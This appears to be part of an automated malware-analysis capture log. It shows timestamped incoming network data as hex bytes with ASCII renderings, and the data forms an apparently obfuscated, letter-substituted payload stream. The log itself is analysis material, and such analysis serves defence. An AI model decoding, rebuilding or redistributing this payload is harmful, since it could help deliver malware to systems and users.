2021-10-29 18:29:05 UTC	1022	IN	Data Raw: 20 4f 20 4d 58 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 58 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 6d 58 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 6d 58 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 58 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 71 4a 4a 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 4d 4d 20 Data Ascii: O MX O qqX O mE O XJ O DW O Eq O qJJ O mE O mX O Xq O DD O qqW O mE O WD O WD O DW O ME O mE O mE O XO O DW O Eq O qqX O mE O mX O Xq O DD O qqM O mE O WE O DM O DW O MX O XO O mE O XJ O DW O Eq O qJJ O mE O qJJ O qqM O DD O qqm O mE O WD O WD O DW O MM
2021-10-29 18:29:05 UTC	1023	IN	Data Raw: 58 4f 20 4f 20 45 70 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 57 4f 20 4f 20 58 71 20 4f 20 58 4a 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 71 4a 4f 20 4f 20 4d 4d 20 4f 20 44 44 20 4f 20 44 58 20 4f 20 45 71 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 58 20 4f 20 57 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 58 4d 20 4f 20 71 71 44 20 4f 20 58 4d 20 4f 20 45 44 20 4f 20 71 4f 4f 20 4f 20 58 4f 20 4f 20 57 71 20 4f 20 4d 58 20 4f 20 45 4a 20 4f 20 57 4a 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 57 4f 20 4f 20 71 4a 4f 20 4f 20 4d 4f 20 4f 20 57 44 20 4f 20 6d 45 20 4f 20 71 71 44 20 4f 20 71 71 57 20 4f 20 45 58 20 4f 20 71 4f 71 20 4f 20 58 4f 20 4f 20 57 57 20 4f 20 4d 58 20 4f 20 44 58 20 4f 20 Data Ascii: XO O Ep O WW O mE O WO O Xq O XJ O qqX O mE O qJO O MM O DD O DX O Eq O qOp O DW O DW O DW O DW O EX O WO O Xq O DD O qqM O XM O qqD O XM O ED O qOO O XO O Wq O MX O EJ O WJ O DX O mE O WO O qJO O MO O WD O mE O qqD O qqW O EX O qOq O XO O WW O MX O DX O
2021-10-29 18:29:05 UTC	1025	IN	Data Raw: 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 Data Ascii: O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW
2021-10-29 18:29:05 UTC	1026	IN	Data Raw: 20 58 4a 20 4f 20 58 4d 20 4f 20 6d 4d 20 4f 20 45 70 20 4f 20 44 58 20 4f 20 6d 58 20 4f 20 58 45 20 4f 20 45 58 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 57 45 20 4f 20 45 4f 20 4f 20 71 4f 44 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 58 4f 20 4f 20 58 4a 20 4f 20 58 4d 20 4f 20 6d 4d 20 4f 20 45 70 20 4f 20 44 58 20 4f 20 6d 58 20 4f 20 58 45 20 4f 20 45 58 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 57 45 20 4f 20 45 4f 20 4f 20 71 4f 44 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 58 4f 20 4f 20 58 4a 20 4f 20 58 45 20 4f 20 6d 58 20 4f 20 71 71 4d 20 4f 20 44 45 20 4f 20 71 4a 4f 20 4f 20 44 4d 20 4f 20 58 57 20 4f 20 6d 70 20 4f 20 44 44 20 4f 20 71 4f 4d 20 4f 20 44 4d 20 4f 20 6d 4d 20 4f 20 45 44 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 45 44 20 4f 20 44 57 Data Ascii: XJ O XM O mM O Ep O DX O mX O XE O EX O Xp O DW O WE O EO O qOD O XW O qOp O XO O XJ O XM O mM O Ep O DX O mX O XE O EX O Xp O DW O WE O EO O qOD O XW O qOp O XO O XJ O XE O mX O qqM O DE O qJO O DM O XW O mp O DD O qOM O DM O mM O ED O DW O DM O ED O DW
2021-10-29 18:29:05 UTC	1027	IN	Data Raw: 20 6d 45 20 4f 20 57 45 20 4f 20 57 71 20 4f 20 71 4f 57 20 4f 20 57 6d 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 57 4a 20 4f 20 71 71 45 20 4f 20 71 71 4f 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 71 4f 71 20 4f 20 45 44 20 4f 20 71 71 4a 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 57 71 20 4f 20 71 4f 57 20 4f 20 57 6d 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 4d 4f 20 4f 20 57 71 20 4f 20 71 71 45 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 57 4a 20 4f 20 45 4d 20 4f 20 4d 58 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 57 70 20 4f 20 44 44 20 4f 20 57 70 20 4f 20 45 57 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 44 58 20 4f 20 58 6d 20 4f 20 45 4f 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 44 4d 20 4f 20 71 71 4d 20 4f 20 58 4d 20 4f 20 45 57 20 4f 20 Data Ascii: mE O WE O Wq O qOW O Wm O qOJ O mE O qOO O WJ O qqE O qqO O mE O Wq O qOq O ED O qqJ O mE O WE O Wq O qOW O Wm O qOJ O mE O MO O Wq O qqE O qOJ O mE O WJ O EM O MX O qJJ O mE O Wp O DD O Wp O EW O mE O mp O DX O Xm O EO O qOD O mE O DM O qqM O XM O EW O
2021-10-29 18:29:05 UTC	1029	IN	Data Raw: 20 71 71 4f 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 57 70 20 4f 20 71 71 4d 20 4f 20 71 71 44 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 71 71 45 20 4f 20 4d 4d 20 4f 20 45 44 20 4f 20 58 71 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 71 71 4f 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 57 70 20 4f 20 71 71 4d 20 4f 20 71 71 44 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 71 71 4d 20 4f 20 4d 4d 20 4f 20 71 71 6d 20 4f 20 4d 4f 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 58 4a 20 4f 20 71 4f 71 20 4f 20 58 70 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 45 45 20 4f 20 71 4f 57 20 4f 20 71 4f 45 20 4f 20 45 4a 20 4f 20 71 71 4a 20 4f 20 57 57 20 4f Data Ascii: qqO O DE O mX O XO O mp O Wp O qqM O qqD O DX O mE O qqE O MM O ED O Xq O mE O WW O qqO O DE O mX O XO O mp O Wp O qqM O qqD O DX O mE O qqM O MM O qqm O MO O mE O WE O XX O qOq O WD O XO O mp O XJ O qOq O Xp O qqX O mE O EE O qOW O qOE O EJ O qqJ O WW O
2021-10-29 18:29:05 UTC	1030	IN	Data Raw: 20 4f 20 6d 45 20 4f 20 45 4d 20 4f 20 71 4a 4f 20 4f 20 4d 4f 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 71 4a 4a 20 4f 20 71 71 57 20 4f 20 58 45 20 4f 20 58 6d 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 57 57 20 4f 20 45 4f 20 4f 20 71 4f 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 45 4d 20 4f 20 71 4a 4f 20 4f 20 4d 4f 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 71 4a 4a 20 4f 20 71 71 57 20 4f 20 58 45 20 4f 20 58 6d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 44 58 20 4f 20 45 4f 20 4f 20 71 4f 58 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 45 4a 20 4f 20 71 4f 4d 20 4f 20 57 71 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 45 6d 20 4f 20 71 4a 4f 20 4f 20 71 71 4d 20 4f 20 44 45 20 4f 20 71 4f 4a 20 4f 20 45 4d 20 4f 20 4d 45 20 4f 20 58 70 20 4f 20 71 71 4d 20 4f 20 71 4f 4a 20 Data Ascii: O mE O EM O qJO O MO O XO O mE O qJJ O qqW O XE O Xm O mE O WD O WW O EO O qOE O mE O mE O EM O qJO O MO O XO O mE O qJJ O qqW O XE O Xm O mE O WE O DX O EO O qOX O XO O mE O EJ O qOM O Wq O EJ O mE O Em O qJO O qqM O DE O qOJ O EM O ME O Xp O qqM O qOJ
2021-10-29 18:29:05 UTC	1031	IN	Data Raw: 6d 45 20 4f 20 57 57 20 4f 20 45 58 20 4f 20 71 71 58 20 4f 20 71 4f 70 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 4a 4a 20 4f 20 4d 58 20 4f 20 57 71 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 57 4f 20 4f 20 71 71 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 45 58 20 4f 20 71 71 6d 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 6d 45 20 4f 20 58 58 20 4f 20 57 71 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 4d 20 4f 20 71 4f 58 20 4f 20 57 57 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 44 45 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20 45 70 20 4f 20 4d 45 20 4f 20 45 44 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 6d 20 4f 20 6d 45 Data Ascii: mE O WW O EX O qqX O qOp O mE O mp O qJJ O MX O Wq O mE O mE O qqm O WO O qqD O mE O mE O WW O EX O qqm O qOJ O mE O mp O mE O XX O Wq O mE O mE O qOM O qOX O WW O qJJ O mE O DE O qOp O Xq O Ep O ME O ED O qOE O DW O MO O XO O mp O WJ O DW O Eq O qqm O mE
2021-10-29 18:29:05 UTC	1033	IN	Data Raw: 20 71 71 57 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 6d 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 4a 4f 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 71 57 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 6d 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 4a 4f 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 71 57 20 4f 20 58 71 20 4f 20 58 70 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 Data Ascii: qqW O Xq O Xq O DW O DW O qqm O DM O DM O DW O DW O EW O qJO O DD O DW O DW O DE O qqW O Xq O Xq O DW O DW O qqm O DM O DM O DW O DW O EW O qJO O DD O DW O DW O DE O qqW O Xq O Xp O qOp O DW O DW O DW O DW O Xq O DW O DW O DW O DW O Ep O DW O DW O DW O D
2021-10-29 18:29:05 UTC	1034	IN	Data Raw: 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 6d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 57 71 20 4f 20 71 4f 4f 20 4f 20 57 71 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 71 4f 4a 20 4f 20 57 71 20 4f 20 71 4f 4f 20 4f 20 57 71 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 4a 20 4f 20 71 4f 4f 20 4f 20 57 71 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 57 20 4f 20 45 70 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f Data Ascii: DW O DW O DW O DW O qOm O mE O WE O Wq O qOO O Wq O qOp O DW O DW O DW O DW O Ep O qOJ O Wq O qOO O Wq O qOp O DW O DW O DW O DW O DW O DE O EJ O qOO O Wq O qOp O DW O DW O DW O DW O DW O DW O DW O qOW O Ep O qOp O DW O DW O DW O DW O DW O DW O DW O DW O
2021-10-29 18:29:05 UTC	1035	IN	Data Raw: 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 6d 20 4f 20 71 71 4f 20 4f 20 44 45 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 58 4a 20 4f 20 58 71 20 Data Ascii: DW O DW O DD O Em O qqO O DE O XM O DW O XW O DW O DD O qJq O DW O Eq O WD O DW O MM O DW O DD O qOX O DW O EJ O Ep O DW O qOO O DW O DD O qqJ O DW O Eq O XW O DW O MM O qqM O DW O Em O DW O DM O DM O DW O MX O DW O DD O mX O DW O DE O qqW O DW O XJ O Xq
2021-10-29 18:29:05 UTC	1037	IN	Data Raw: 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 4f 20 4f 20 71 71 4f 20 4f 20 44 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 44 20 4f Data Ascii: O DD O DD O DW O Eq O qqM O DW O MX O DW O DW O Em O DW O DM O EE O DW O qOO O DW O DD O qJq O DW O Eq O qqM O DW O EW O qqM O DD O DD O DW O DW O DW O DW O qOp O DW O DD O XO O qqO O DM O Xq O DW O MO O Xq O DD O qJJ O DW O Eq O XW O DW O MX O DW O DD O
2021-10-29 18:29:05 UTC	1038	IN	Data Raw: 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 71 20 4f 20 71 71 4f 20 4f 20 44 45 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 58 6d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 Data Ascii: DW O DW O DW O DW O DW O DW O DW O DW O DD O Eq O qqO O DE O XM O DW O Xp O DW O DD O XW O DW O DM O mX O DW O Xm O DW O DW O qOp O DW O EO O Ep O DW O MO O Xq O DD O qqM O DW O Eq O WD O DW O MM O qOp O DD O mX O DW O DE O DW O DW O ED O Xq O DW O qOp O
2021-10-29 18:29:05 UTC	1039	IN	Data Raw: 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 4d 20 4f 20 71 71 4f 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 Data Ascii: O DW O Eq O WJ O DW O MM O qqM O DW O Em O DW O DM O EE O DW O qOO O DW O DD O qJq O DW O Eq O qqM O DW O EW O qqM O DD O Xq O DW O Eq O qqM O DW O qOO O Xq O DD O qJJ O DW O DW O DW O DW O DW O DW O DD O XM O qqO O DM O DM O DW O qOO O Xq O DD O mX O DW
2021-10-29 18:29:05 UTC	1041	IN	Data Raw: 20 44 57 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4a 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 71 71 4f 20 4f 20 44 45 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 45 Data Ascii: DW O EO O DW O DW O MX O qqM O DD O qqM O DW O EJ O XW O DW O MM O DW O DW O qJO O DW O DW O DW O DW O DW O DW O DD O DD O qqO O DE O XM O DW O XW O qqM O DD O qOm O DW O EJ O XM O DW O MO O Xq O DW O qOp O DW O EO O EE O DW O MO O Xq O DD O qqW O DW O E
2021-10-29 18:29:05 UTC	1042	IN	Data Raw: 44 57 20 4f 20 45 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 58 6d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 44 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 45 Data Ascii: DW O EO O Xq O DW O Xm O Xq O DD O EE O DW O DE O DW O DW O XW O qOp O DD O qOX O DW O EJ O DW O DW O MX O qqM O DD O qJq O DW O EJ O Xq O DW O Ep O DW O DW O qqD O DW O DE O DW O DW O XW O qqM O DD O qOX O DW O Eq O qqM O DW O MO O Xq O DD O qOD O DW O E
2021-10-29 18:29:05 UTC	1043	IN	Data Raw: 58 71 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 58 70 20 4f 20 4d 4d 20 4f 20 45 6d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f Data Ascii: Xq O DW O EW O qqM O DD O EO O DW O Eq O WJ O DW O qOO O DW O DD O qOX O DW O EJ O Ep O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DE O DW O DW O DM O Xp O MM O Em O qOp O DD O Xp O DW O Eq O XW O DW O MO O qOp O DD O qJq O DW O Eq O XW O DW O
2021-10-29 18:29:05 UTC	1045	IN	Data Raw: 20 44 58 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 44 4d 20 4f 20 45 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 71 4f 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 4a 20 4f 20 44 44 20 4f 20 71 4f 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4a 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 57 4a 20 4f 20 Data Ascii: DX O qqq O DW O mE O mE O mE O qOp O Xq O DW O DW O DW O DW O DW O DW O XW O DM O EJ O DW O DW O EE O qOW O DW O DW O DW O DW O DW O DW O DW O XM O DW O DW O DW O DW O DW O DW O DW O WJ O DD O qOJ O Xq O DW O DW O DW O DW O DW O DW O XJ O Xq O DD O WJ O
2021-10-29 18:29:05 UTC	1046	IN	Data Raw: 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 Data Ascii: O DW O ME O Xq O DD O qqE O DW O EJ O XW O DW O MO O Xq O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O EO O Xq O DW O DW O DW O DW O DW O ED O XM O DW O ME O DW O DD O Xq O DW O DW O WJ O DW O DW O qOp O DX O mE O mE O WJ O DW O DW O XD O
